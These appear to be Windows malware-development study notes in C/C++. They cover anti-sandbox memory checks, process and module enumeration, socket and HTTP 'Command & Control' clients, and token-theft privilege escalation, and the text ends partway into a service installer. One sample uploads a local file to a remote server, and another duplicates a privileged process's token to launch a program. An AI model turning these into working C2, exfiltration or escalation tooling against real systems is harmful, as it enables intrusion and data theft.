## Anti-Sandbox
### 1. Anti-Sanbox With GlobalMemoryStatusEx()
```cpp=
MEMORYSTATUSEX msx = { sizeof(msx) };
GlobalMemoryStatusEx(&msx);
printf("[+] Available virtual memory: %.5f\n", msx.ullAvailVirtual*1.0/1024/1024/1024);
printf("[+] Available physical memory: %.5f\n", msx.ullAvailPhys*1.0/1024/1024/1024);
printf("[+] Total virtual memory: %.5f\n", msx.ullTotalVirtual*1.0/1024/1024/1024);
printf("[+] Total physical memory: %.5f\n", msx.ullTotalPhys*1.0/1024/1024/1024);
```
:::success
* GlobalMemoryStatusEx
:::
## Module Enumeration
### 1. Enumerate Module With Snapshot
```cpp=
#include<TlHelp32.h>
HANDLE hModuleSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, 0);
if (INVALID_HANDLE_VALUE == hModuleSnapshot) {
printf("[-] Failed to get module snapshot! Error 0x%x\n", GetLastError());
return -1;
}
MODULEENTRY32 me = { sizeof(me) };
if (!Module32First(hModuleSnapshot, &me)) {
printf("[-] Failed to enumerate module list! Error 0x%x\n", GetLastError());
}
do {
printf("[+] Module name: %s\n", me.szModule);
printf("[+] Module path: %s\n", me.szExePath);
printf("[+] Module base address: 0x%p\n", me.modBaseAddr);
} while (Module32Next(hModuleSnapshot, &me));
if (INVALID_HANDLE_VALUE != hModuleSnapshot)
CloseHandle(hModuleSnapshot);
```
:::success
* CreateToolhelp32Snapshot
* Module32First
* Module32Next
:::
### 2. Enumerate Module With VirtualQueryEx()
```cpp=
#include<psapi.h> // GetModuleFileNameExA
#incldue<shlwapi.h> // PathFindFileNameA
#include<memoryapi.h> // VirtualQueryEx
DWORD targetPID = 8356;
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, targetPID);
if (!hProcess) {
printf("[-] Failed to open target process! Error 0x%x\n", GetLastError());
return -1;
}
MEMORY_BASIC_INFORMATION mbi = { 0 };
CHAR modulePath[MAX_PATH];
LPSTR moduleName = NULL;
LPBYTE baseAddress = NULL;
while (VirtualQueryEx(hProcess, baseAddress, &mbi, sizeof(mbi)) == sizeof(MEMORY_BASIC_INFORMATION)) {
if ((mbi.AllocationBase == mbi.BaseAddress) && (mbi.AllocationBase != NULL)) {
if (GetModuleFileNameExA(hProcess, (HMODULE)mbi.BaseAddress, modulePath, MAX_PATH)) {
moduleName = PathFindFileNameA(modulePath);
printf("[+] Module name: %s | Base address: 0x%p\n", moduleName, mbi.BaseAddress);
}
}
baseAddress += mbi.RegionSize;
}
```
:::success
* VirtualQueryEx
* GetModuleFileNameExA
* PathFindFileNameA
:::
### 3. Enumerate Module With EnumProcessModules()
```cpp=
DWORD targetPID = 8356;
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, targetPID);
if (!hProcess) {
printf("[-] Failed to open target process! Error 0x%x\n", GetLastError());
return -1;
}
DWORD bytesNeeded = 0;
EnumProcessModules(hProcess, NULL, 0, &bytesNeeded);
printf("[+] Bytes needed: %d\n", bytesNeeded);
HMODULE* hModules = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, bytesNeeded);
CHAR moduleFileName[MAX_PATH];
LPSTR moduleName = NULL;
EnumProcessModules(hProcess, hModules, bytesNeeded, &bytesNeeded);
for (int i = 0; i < bytesNeeded / sizeof(HMODULE); i++) {
if (GetModuleFileNameExA(hProcess, hModules[i], moduleFileName, MAX_PATH)) {
moduleName = PathFindFileNameA(moduleFileName);
printf("[+] Module file name: %s | Base address: 0x%p\n", moduleName, hModules[i]);
}
}
```
:::success
* EnumProcessModules
:::
## Process Enumeration
### 1. Process Enumeration With Snapshot
```cpp=
DWORD targetPID = 8356;
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, targetPID);
if (!hProcess) {
printf("[-] Failed to open target process! Error 0x%x\n", GetLastError());
return -1;
}
PROCESSENTRY32 pe = { .dwSize = sizeof(pe)};
HANDLE hProcessSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (Process32First(hProcessSnapshot, &pe)) {
do {
printf("[+] Process name: %s | PID: %d\n", pe.szExeFile, pe.th32ProcessID);
} while (Process32Next(hProcessSnapshot, &pe));
}
```
:::success
* CreateToolhelp32Snapshot
* Process32First
* Process32Next
:::
### 2. Process Enumeration With NtGetNextProcess()
```cpp=
typedef NTSTATUS(NTAPI* pfnNtGetNextProcess)(
_In_ HANDLE hProcess,
_In_ ACCESS_MASK DesiredAccess,
_In_ ULONG HandleAttributes,
_In_ ULONG Flags,
_Out_ PHANDLE hNexProcess
);
HANDLE hProcess = NULL;
HMODULE hNtdll = GetModuleHandleA("ntdll");
pfnNtGetNextProcess pNtGetNextProcess = (pfnNtGetNextProcess)GetProcAddress(hNtdll, "NtGetNextProcess");
CHAR processPath[MAX_PATH];
LPSTR processName = NULL;
while (!pNtGetNextProcess(hProcess, MAXIMUM_ALLOWED, 0, 0, &hProcess)) {
if (GetProcessImageFileNameA(hProcess, processPath, MAX_PATH)) {
processName = PathFindFileNameA(processPath);
if (!lstrcmpiA(processName, "wininit.exe")) {
printf("[+] Process id: %d\n", GetProcessId(hProcess));
}
}
}
```
:::success
* NtGetNextProcess
:::
### 3. Process Enumeration With WTSEnumerateProcesses()
```cpp=
PWTS_PROCESS_INFOA info = { 0 };
DWORD count = 0;
if (!WTSEnumerateProcessesA(WTS_CURRENT_SERVER_HANDLE, 0, 1, &info, &count)) {
printf("[-] Failed to enumerate process! Error 0x%x\n", GetLastError());
return;
}
for (DWORD i = 0; i < count; i++) {
PWTS_PROCESS_INFOA currentInfo = info + i;
printf("[+] PID: %d | Session %d | Name: %s\n", currentInfo->ProcessId, currentInfo->SessionId, currentInfo->pProcessName);
}
WTSFreeMemory(info);
```
:::success
* WTSEnumerateProcessesA
:::
### 4. Process Enumeration With EnumProcesses()
```cpp=
DWORD bytesNeeded = 0;
DWORD pids[1024];
if (!EnumProcesses(pids, 1024, &bytesNeeded)) {
printf("[-] Failed to enum proces! Error 0x%x\n", GetLastError());
return;
}
CHAR processName[MAX_PATH];
HANDLE hProcess = NULL;
for (int i = 0; i < bytesNeeded / sizeof(DWORD); i++) {
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pids[i]);
if (!hProcess)
printf("[-] Failed to get handle process! PID: %d\n", pids[i]);
if (GetProcessImageFileNameA(hProcess, processName, MAX_PATH))
printf("[+] %d %s\n", pids[i], processName);
}
```
:::success
* EnumProcesses
:::
### 5. Process Enumeration With NtQuerySystemInformation()
```cpp=
ULONG bufferSize = 0;
NtQuerySystemInformation(SystemProcessInformation, NULL, 0, &bufferSize);
PSYSTEM_PROCESS_INFORMATION processInfo = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, bufferSize);
NtQuerySystemInformation(SystemProcessInformation, (PVOID)processInfo, bufferSize, &bufferSize);
for(;;){
printf("[+] (Session ID: %llu) (Process ID: %llu) (Name: %ws)\n", processInfo->SessionId, HandleToULong(processInfo->UniqueProcessId),
processInfo->ImageName.Buffer ? processInfo->ImageName.Buffer : L"");
if (!processInfo->NextEntryOffset)
break;
processInfo = (PSYSTEM_PROCESS_INFORMATION)((LPBYTE)processInfo + processInfo->NextEntryOffset);
}
```
:::success
* NtQuerySystemInformation
:::
## Command & Control
### 1. URL Monikers
```cpp=
// include<urlmon.h>
IStream* stream = NULL;
LPSTR C2URL = "http://example.com/";
URLOpenBlockingStreamA(NULL, C2URL, &stream, 0, NULL);
CHAR buffer[100];
DWORD bytesRead = 0;
while (1){
stream->lpVtbl->Read(stream, buffer, sizeof(buffer) - 1, &bytesRead);
if (0U == bytesRead) {
break;
}
buffer[bytesRead] = '\0';
printf("%s", buffer);
}
```
:::success
* URLOpenBlockingStreamA
:::
### 2. Socket
:diamond_shape_with_a_dot_inside: **Client Side**
```cpp=
#include<stdio.h>
#include<winsock2.h>
#include<WS2tcpip.h>
#include<Windows.h>
#include<urlmon.h>
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "urlmon.lib")
#define MAX_PACKAGE 256
int main(int agrc, const char* argv[]) {
WSADATA wsaData;
SOCKET clntSock;
SOCKADDR_IN srvAddr;
CHAR sendMsg[] = "Hello Server!";
CHAR recvMsg[MAX_PACKAGE];
DWORD sendBytes, recvBytes;
do {
if (WSAStartup(MAKEWORD(2, 2), &wsaData))break;
clntSock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (INVALID_SOCKET == clntSock) break;
ZeroMemory(&srvAddr, sizeof(srvAddr));
srvAddr.sin_family = AF_INET;
inet_pton(AF_INET, "127.0.0.1", &srvAddr.sin_addr.s_addr);
//srvAddr.sin_addr.s_addr = inet_addr("127.0.0.1");
srvAddr.sin_port = htons(5555);
if (SOCKET_ERROR == connect(clntSock, &srvAddr, sizeof(srvAddr))) break;
sendBytes = send(clntSock, sendMsg, sizeof(sendMsg), 0);
shutdown(clntSock, SD_SEND);
if (SOCKET_ERROR == sendBytes) break;
recvBytes = recv(clntSock, recvMsg, MAX_PACKAGE, 0);
shutdown(clntSock, SD_RECEIVE);
if (SOCKET_ERROR == recvBytes) break;
printf("[+] Message receive from server: %s\n", recvMsg);
} while (0);
if (INVALID_SOCKET != clntSock) closesocket(clntSock);
WSACleanup();
return 0;
}
```
:diamond_shape_with_a_dot_inside: **Server Side**
```cpp=
#include<stdio.h>
#include<winsock2.h>
#include<Windows.h>
#include<urlmon.h>
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "urlmon.lib")
#define MAX_PACKAGE 256
int main(int agrc, const char* argv[]) {
WSADATA wsaData;
SOCKET srvSock, clntSock;
SOCKADDR_IN srvAddr, clntAddr;
CHAR sendMsg[] = "Hello Client!";
CHAR recvMsg[MAX_PACKAGE];
int sendBytes, recvBytes, clntAddrSz;
do {
if (WSAStartup(MAKEWORD(2, 2), &wsaData))break;
srvSock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (INVALID_SOCKET == srvSock) break;
ZeroMemory(&srvAddr, sizeof(srvAddr));
srvAddr.sin_family = AF_INET;
srvAddr.sin_addr.s_addr = INADDR_ANY;
srvAddr.sin_port = htons(5555);
if (SOCKET_ERROR == bind(srvSock, &srvAddr, sizeof(srvAddr))) break;
if (SOCKET_ERROR == listen(srvSock, 20)) break;
clntAddrSz = sizeof(clntAddr);
clntSock = accept(srvSock, (struct sockaddr*)&clntAddr, &clntAddrSz);
if (INVALID_SOCKET == clntSock) break;
printf("[+] Accept client (%s %hu)\n", inet_ntoa(clntAddr.sin_addr), ntohs(clntAddr.sin_port));
recvBytes = recv(clntSock, recvMsg, sizeof(recvMsg), 0);
if (SOCKET_ERROR == recvBytes) break;
shutdown(clntSock, SD_RECEIVE);
printf("[+] Message receive from client: %s\n", recvMsg);
sendBytes = send(clntSock, sendMsg, sizeof(sendMsg), 0);
shutdown(clntSock, SD_SEND);
if (SOCKET_ERROR == sendBytes) break;
} while (0);
if (INVALID_SOCKET != clntSock) closesocket(clntSock);
if (INVALID_SOCKET != srvSock) closesocket(srvSock);
WSACleanup();
return 0;
}
```
:::success
* WSAStartup
* socket
* inet_addr
* inet_pton
* htons
* connect
* send
* recv
* shutdown
* bind
* listen
* accept
* WSACleanup
:::
### 3. Wininet
:diamond_shape_with_a_dot_inside: **Request HTTP object**
```cpp=
#include<stdio.h>
#include<WinSock2.h>
#include<Windows.h>
#include<wininet.h>
#include<winternl.h>
#pragma comment(lib, "wininet.lib")
#pragma comment(lib, "ws2_32.lib")
#define BREAK_WITH_ERROR(s) \
{printf("%s! Error 0x%x", s, GetLastError()); break;}
int main(int argc, const char* argv[]) {
BYTE buf[1024];
DWORD bytesRead = 0;
LPCSTR myHeader = "My-header: legion\r\nMy-header2: killnet\r\nContent-Type: text/html";
HINTERNET hInternet = NULL,
hURL = NULL;
do {
hInternet = InternetOpenA("Syaoren", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (!hInternet) BREAK_WITH_ERROR("Failed to open internet")
hURL = InternetOpenUrlA(hInternet, "https://httpbin.org/get", myHeader, -1, INTERNET_FLAG_SECURE | INTERNET_FLAG_RELOAD, 0);
if (!hURL) BREAK_WITH_ERROR("Failed to open URL")
if (!InternetReadFile(hURL, buf, sizeof(buf) - 1, &bytesRead)) BREAK_WITH_ERROR("Failed to read content of URL")
buf[bytesRead] = '\0';
printf("%s", buf);
} while (0);
if (hURL) InternetCloseHandle(hURL);
if (hInternet) InternetCloseHandle(hInternet);
```
:diamond_shape_with_a_dot_inside: **Request HTTP object in detail**
```cpp=
#include<stdio.h>
#include<WinSock2.h>
#include<Windows.h>
#include<wininet.h>
#include<winternl.h>
#pragma comment(lib, "wininet.lib")
#pragma comment(lib, "ws2_32.lib")
#define BREAK_WITH_ERROR(s) \
{printf("%s! Error 0x%x", s, GetLastError()); break;}
int main(int argc, const char* argv[]) {
BYTE buf[1024];
DWORD bytesRead = 0,
secFlags = 0,
secFlagsLen = sizeof(secFlags),
responeHeadersSz = 1023,
connectFlags = 0;
LPCSTR acceptTypes[] = { "application/xml", NULL };
LPCSTR headers = "My-header1: 100\r\nMy-header2: 200\r\nConnection: close";
LPCSTR body = "We Are Legion!";
BYTE responeHeaders[1024];
HINTERNET hInternet = NULL,
hConnect = NULL,
hRequest = NULL;
do {
if(!InternetGetConnectedState(&connectFlags, 0))
BREAK_WITH_ERROR("No internet")
if(!InternetCheckConnectionA("https://httpbin.org/", FLAG_ICC_FORCE_CONNECTION, 0))
BREAK_WITH_ERROR("No reachabel over server")
hInternet = InternetOpenA("Syaoren", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (!hInternet) BREAK_WITH_ERROR("Failed to open internet")
hConnect = InternetConnectA(hInternet, "httpbin.org", INTERNET_DEFAULT_HTTPS_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
if (!hConnect)BREAK_WITH_ERROR("Failed to connect to server")
hRequest = HttpOpenRequestA(hConnect, "POST", "/post?param1=100¶m2=200", "HTTP/1.1", NULL, acceptTypes, INTERNET_FLAG_SECURE, 0);
if (!hRequest)BREAK_WITH_ERROR("Failed to open request")
if (!InternetQueryOptionA(hRequest, INTERNET_OPTION_SECURITY_FLAGS, &secFlags, &secFlagsLen))
BREAK_WITH_ERROR("Failed to retrive security options")
secFlags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_WEAK_SIGNATURE | SECURITY_FLAG_IGNORE_WRONG_USAGE;
if (!InternetSetOptionA(hRequest, INTERNET_OPTION_SECURITY_FLAGS, &secFlags, secFlagsLen))
BREAK_WITH_ERROR("Failed to change security options")
if (!HttpSendRequestA(hRequest, headers, strlen(headers), body, strlen(body)))
BREAK_WITH_ERROR("Failed to send HTTP request")
if (!HttpQueryInfoA(hRequest, HTTP_QUERY_RAW_HEADERS_CRLF, responeHeaders, &responeHeadersSz, NULL))
BREAK_WITH_ERROR("Failed to retrive HTTP respone headers")
responeHeaders[responeHeadersSz] = '\0';
printf("%s", responeHeaders);
if (!InternetReadFile(hRequest, buf, sizeof(buf) - 1, &bytesRead)) BREAK_WITH_ERROR("Failed to get file object")
buf[bytesRead] = '\0';
printf("%s", buf);
} while (0);
if (hRequest)InternetCloseHandle(hRequest);
if (hConnect)InternetCloseHandle(hConnect);
if (hInternet) InternetCloseHandle(hInternet);
return 0;
}
```
:diamond_shape_with_a_dot_inside: **Send HTTP request with HTTPSendRequestExA**
:::info
* Khi sử dụng HTTPSendRequestEx thì ta phải luôn sử dụng HTTPEndRequest để thông báo rằng ta đã gửi xong dữ liệu và hoàn thành quá trình HTTP request.
:::
```cpp=
#include<stdio.h>
#include<WinSock2.h>
#include<Windows.h>
#include<wininet.h>
#include<winternl.h>
#pragma comment(lib, "wininet.lib")
#pragma comment(lib, "ws2_32.lib")
#define BREAK_WITH_ERROR(s) \
{printf("%s! Error 0x%x", s, GetLastError()); break;}
int main(int argc, const char* argv[]) {
BYTE buf[1024];
DWORD bytesRead = 0,
bytesWrite = 0,
secFlags = 0,
secFlagsLen = sizeof(secFlags),
resHeadersSz = 1023,
connectFlags = 0;
LPCSTR acceptTypes[] = { "text/*", NULL };
LPCSTR headers = "My-header1: 100\r\nMy-header2: 200";
LPCSTR body = "We Are Legion!";
BYTE resHeaders[1024];
INTERNET_BUFFERSA inBuffer = { 0 };
LPCSTR filePath = "C:\\Users\\Hii\\Desktop\\cscapi.dll";
HANDLE hFile = NULL;
DWORD fileSz = 0;
HINTERNET hInternet = NULL,
hConnect = NULL,
hRequest = NULL;
do {
hInternet = InternetOpenA("Syaoren", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (!hInternet) BREAK_WITH_ERROR("Failed to open internet")
hConnect = InternetConnectA(hInternet, "httpbin.org", INTERNET_DEFAULT_HTTPS_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
if (!hConnect)BREAK_WITH_ERROR("Failed to connect to server")
hRequest = HttpOpenRequestA(hConnect, "POST", "/post?param1=100¶m2=200", "HTTP/1.1",
NULL, acceptTypes, INTERNET_FLAG_SECURE|INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_NO_COOKIES, 0);
if (!hRequest)BREAK_WITH_ERROR("Failed to open request")
hFile = CreateFileA(filePath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (INVALID_HANDLE_VALUE == hFile) BREAK_WITH_ERROR("Failed to open file")
fileSz = GetFileSize(hFile, NULL);
printf("[+] File size: %d\n", fileSz);
BYTE smallBuf[] = "We Are Legion! We Are Killnet!";
DWORD smallBufLen = strlen(smallBuf);
inBuffer.dwStructSize = sizeof(inBuffer);
inBuffer.lpvBuffer = smallBuf;
inBuffer.dwBufferLength = smallBufLen;
inBuffer.dwBufferTotal = smallBufLen + fileSz;
inBuffer.lpcszHeader = headers;
inBuffer.dwHeadersLength = strlen(headers);
if (!HttpSendRequestExA(hRequest, &inBuffer, NULL, 0, 0))
BREAK_WITH_ERROR("Failed to send HTTP request")
int totalBytesWrite = 0;
while (ReadFile(hFile, buf, sizeof(buf), &bytesRead, NULL) && bytesRead > 0) {
int curPos = 0;
while (curPos < bytesRead) {
if (!InternetWriteFile(hRequest, buf + curPos, bytesRead - curPos, &bytesWrite)) {
printf("[-] Failed to write file! Error code 0x%x\n", GetLastError());
break;
}
curPos += bytesWrite;
}
totalBytesWrite += bytesRead;
}
printf("[+] Total bytes write: %d\n", totalBytesWrite);
if(!HttpEndRequestA(hRequest, NULL, 0, 0))
BREAK_WITH_ERROR("Failed to end HTTP request")
BYTE extractHeader[MAX_PATH];
DWORD headerSz = sizeof(extractHeader);
if (!HttpQueryInfoA(hRequest, HTTP_QUERY_CONTENT_LENGTH, extractHeader, &headerSz, NULL))
BREAK_WITH_ERROR("Failed to retrive content length")
extractHeader[headerSz] = '\0';
DWORD contentLen = atoi(extractHeader);
printf("[+] Content-Length: %d\n", contentLen);
int totalBytesRead = 0;
while (totalBytesRead < contentLen) {
InternetReadFile(hRequest, buf, sizeof(buf) - 1, &bytesRead);
buf[bytesRead] = '\0';
printf("%s", buf);
totalBytesRead += bytesRead;
}
} while (0);
if (hRequest)InternetCloseHandle(hRequest);
if (hConnect)InternetCloseHandle(hConnect);
if (hInternet) InternetCloseHandle(hInternet);
return 0;
}
```
:::success
+ InternetOpen
+ InternetConnect
+ InternetCheckConnection
+ InternetConnectedState
+ InternetOpenUrl
+ InternetQueryOption
+ InternetSetOption
+ HttpOpenRequest
+ HttpSendRequest
+ HttpQueryInfo
+ InternetReadFile
+ InternetReadFileEx
+ HttpSendRequestEx
+ InternetWriteFile
+ HttpEndRequest
+ InternetCloseHandle
:::
### 4. WinHTTP

```cpp=
#include<stdio.h>
#include<Windows.h>
#include<winhttp.h>
#include<wininet.h>
#pragma comment(lib, "winhttp.lib")
#define BREAK_WITH_ERROR(s) \
{printf("%s! Error 0x%x", s, GetLastError()); break;}
int main(int argc, const char* argv[]) {
HINTERNET hSession = NULL,
hConnect = NULL,
hRequest = NULL;
LPCWSTR acceptTypes[] = { L"text/html", L"application/json", NULL };
LPCWSTR headers = L"my-header1: 100\r\nmy-header2: 200";
CHAR bodyEntity[] = "We Are Legion\nWe Are Killnet\n";
CHAR additionalBodyEnity[] = "I'm Sy40r3n Who Are You?\n";
DWORD headersLen = wcslen(headers);
WCHAR resHeaders[1025];
DWORD resHeadersLen = 1024;
DWORD bytesWrite = 0;
BYTE buffer[1025];
DWORD bytesRead = 0;
do {
hSession = WinHttpOpen(L"Syaoren", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
if(!hSession) BREAK_WITH_ERROR("Failed to open HTTP session")
hConnect = WinHttpConnect(hSession, L"httpbin.org", INTERNET_DEFAULT_HTTPS_PORT, 0);
if(!hConnect) BREAK_WITH_ERROR("Failed to set up HTTP session")
hRequest = WinHttpOpenRequest(hConnect, L"POST", L"/post?par1=100&par2=200", L"HTTP/1.1", WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE);
if(!hRequest) BREAK_WITH_ERROR("Failed to open HTTP request")
if(!WinHttpSendRequest(hRequest, headers, -1, bodyEntity, strlen(bodyEntity), strlen(bodyEntity) + strlen(additionalBodyEnity), 0))
BREAK_WITH_ERROR("Failed to send HTTP request")
bytesWrite = strlen(additionalBodyEnity) ;
if(!WinHttpWriteData(hRequest, additionalBodyEnity, bytesWrite, &bytesRead))
BREAK_WITH_ERROR("Failed to write data")
if(!WinHttpReceiveResponse(hRequest, NULL))
BREAK_WITH_ERROR("Failed to receive HTTP respone")
if(!WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_RAW_HEADERS_CRLF,
WINHTTP_HEADER_NAME_BY_INDEX, resHeaders, &resHeadersLen, WINHTTP_NO_HEADER_INDEX))
BREAK_WITH_ERROR("Failed to query header")
resHeaders[resHeadersLen] = L'\0';
printf("%ws", resHeaders);
if(!WinHttpReadData(hRequest, buffer, sizeof(buffer) - 1, &bytesRead))
BREAK_WITH_ERROR("Failed to read data from server")
buffer[bytesRead] = '\0';
printf("%s", buffer);
} while (0);
if (hRequest) WinHttpCloseHandle(hRequest);
if (hConnect) WinHttpCloseHandle(hConnect);
if (hSession)WinHttpCloseHandle(hSession);
return 0;
}
```
:::success
* WinHttpOpen
* WinHttpConnect
* WinHttpOpenRequest
* WinHttpSendRequest
* WinHttpWriteData
* WinHttpReceiveResponse
* WinHttpQueryHeaders
* WinHttpReadData
* WinHttpCloseHandle
:::
## Privilege Escalation
### 1. Token theft
```cpp=
#include<stdio.h>
#include<Windows.h>
#include<sddl.h>
#define BREAK_WITH_ERROR(m) {printf("[-] %s! Error 0x%x\n", m, GetLastError());break;}
VOID SetPrivilege(LPCWSTR priv) {
HANDLE hToken = NULL;
TOKEN_PRIVILEGES tp = { 0 };
tp.PrivilegeCount = 1;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!LookupPrivilegeValue(NULL, priv, &tp.Privileges[0].Luid)) {
printf("[-] Failed to lookup luid priviledge! Error code 0x%x\n", GetLastError());
return;
}
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) {
printf("[-] Failed to open procsess token! Error code 0x%x\n", GetLastError());
return;
}
if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL)) {
printf("[-] Failed to adjust privilege! Error code 0x%x\n", GetLastError());
return;
}
}
VOID TokenTheft1(){
SetPrivilege(SE_DEBUG_NAME);
DWORD targetPID = 564;
HANDLE hProcess = NULL,
hToken = NULL,
hDupToken = NULL;
STARTUPINFOW si = { 0 };
PROCESS_INFORMATION pi = { 0 };
WCHAR appPath[] = L"C:\\Windows\\System32\\notepad.exe";
do {
hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, targetPID);
if(!hProcess) BREAK_WITH_ERROR("Failed to open process")
if(!OpenProcessToken(hProcess, MAXIMUM_ALLOWED, &hToken))
BREAK_WITH_ERROR("Failed to open process token")
if(!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenImpersonation, &hDupToken))
BREAK_WITH_ERROR("Failed to dupplicate token")
si.cb = sizeof(si);
if(!CreateProcessWithTokenW(hDupToken, LOGON_WITH_PROFILE, appPath, NULL, 0, NULL, NULL, &si, &pi))
BREAK_WITH_ERROR("Failed to create process with token")
} while (0);
}
VOID TokenTheft2() {
PROCESS_INFORMATION pi = { 0 };
STARTUPINFOEXA sie = { 0 };
CHAR exePath[] = "C:\\Windows\\System32\\cmd.exe";
SIZE_T size = 0;
DWORD targetPid = 564;
HANDLE hTargetProcess = NULL,
hNewProcess = NULL;
do {
hTargetProcess = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, targetPid);
if(!hTargetProcess) BREAK_WITH_ERROR("Failed to open target process")
InitializeProcThreadAttributeList(NULL, 5, 0, &size);
sie.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, size);
InitializeProcThreadAttributeList(sie.lpAttributeList, 1, 0, &size);
UpdateProcThreadAttribute(sie.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
&hTargetProcess, sizeof(hTargetProcess), NULL, NULL);
sie.StartupInfo.cb = sizeof(STARTUPINFOEXA);
if(!CreateProcessA(exePath, NULL, NULL, NULL, FALSE,
CREATE_NEW_CONSOLE | EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &sie, &pi))
BREAK_WITH_ERROR("Failed to create process")
if (!hNewProcess) BREAK_WITH_ERROR("Failed to create process")
} while (0);
if (pi.hThread) CloseHandle(pi.hThread);
if (pi.hProcess) CloseHandle(pi.hProcess);
if (hTargetProcess) CloseHandle(hTargetProcess);
}
int main(int argc, const char* argv[]) {
TokenTheft1();
return 0;
}
```
:::success
* OpenProcessToken
* DuplicateTokenEx
* CreateProcessWithToken
* InitializeProcThreadAttributeList
* UpdateInitializeProcThreadAttributeList
:::
### 2. Service

:diamond_shape_with_a_dot_inside: **Executable Service**
```cpp=
#include<stdio.h>
#include<Windows.h>
#include<winsvc.h>
#define BUFFER_SIZE 1024
#define BREAK_WITH_ERROR(m) \
{printf("[-] %s! Error code 0x%x", m, GetLastError()); break;}
#define BREAK_WITH_STATUS(m, s) \
{printf("[-] %s! Status code 0x%x", m, s); break;}
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#define OBJ_CASE_INSENSITIVE 0x00000040L
#define InitializeObjectAttributes( p, n, a, r, s ) { \
(p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
(p)->RootDirectory = r; \
(p)->Attributes = a; \
(p)->ObjectName = n; \
(p)->SecurityDescriptor = s; \
(p)->SecurityQualityOfService = NULL; \
}
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor; // Points to type SECURITY_DESCRIPTOR
PVOID SecurityQualityOfService; // Points to type SECURITY_QUALITY_OF_SERVICE
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
typedef NTSTATUS (NTAPI *pfnZwCreateKey)(
OUT PHANDLE KeyHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN ULONG TitleIndex,
IN PUNICODE_STRING Class OPTIONAL,
IN ULONG CreateOptions,
OUT PULONG Disposition OPTIONAL
);
typedef NTSTATUS (NTAPI *pfnZwSetValueKey)(
IN HANDLE KeyHandle,
IN PUNICODE_STRING ValueName,
IN ULONG TitleIndex OPTIONAL,
IN ULONG Type,
IN PVOID Data,
IN ULONG DataSize
);
HANDLE g_hStopEvent;
SERVICE_STATUS g_Status;
SERVICE_STATUS_HANDLE g_hService;
BOOL InstallService1();
BOOL InstallService2();
BOOL InstallService3();
BOOL IsRunningElevated();
BOOL StartService1();
BOOL EnumService();
BOOL StopService1();
BOOL UninstallService1();
BOOL HandleCommand(int argc, const wchar_t* argv[]);
VOID WINAPI SyaorenMain(DWORD dwNumServiceArgs, LPWSTR* lpServiceArgVectors);
VOID InitUnicodeString(PUNICODE_STRING DestinationString, PCWSTR SourceString);
int wmain(int argc, const wchar_t* argv[]) {
if (argc > 1)
return HandleCommand(argc, argv);
WCHAR serviceName[] = L"Syaoren";
CONST SERVICE_TABLE_ENTRYW entry[] = {
{serviceName, SyaorenMain},
{NULL, NULL}
};
if (!StartServiceCtrlDispatcherW(entry))
return 1;
return 0;
}
BOOL IsRunningElevated() {
HANDLE hToken = NULL;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) return FALSE;
DWORD elevation = 0, elevationLen = 0;
GetTokenInformation(hToken, TokenElevation, &elevation, sizeof(elevation), &elevationLen);
CloseHandle(hToken);
return elevation ? TRUE : FALSE;
}
BOOL HandleCommand(int argc, const wchar_t* argv[]) {
if (!IsRunningElevated())
return 1;
if (!_wcsicmp(argv[1], L"install1"))
return InstallService1();
if (!_wcsicmp(argv[1], L"install2"))
return InstallService2();
if (!_wcsicmp(argv[1], L"install3"))
return InstallService3();
if (!_wcsicmp(argv[1], L"start"))
return StartService1();
if (!_wcsicmp(argv[1], L"stop"))
return StopService1();
if (!_wcsicmp(argv[1], L"uninstall"))
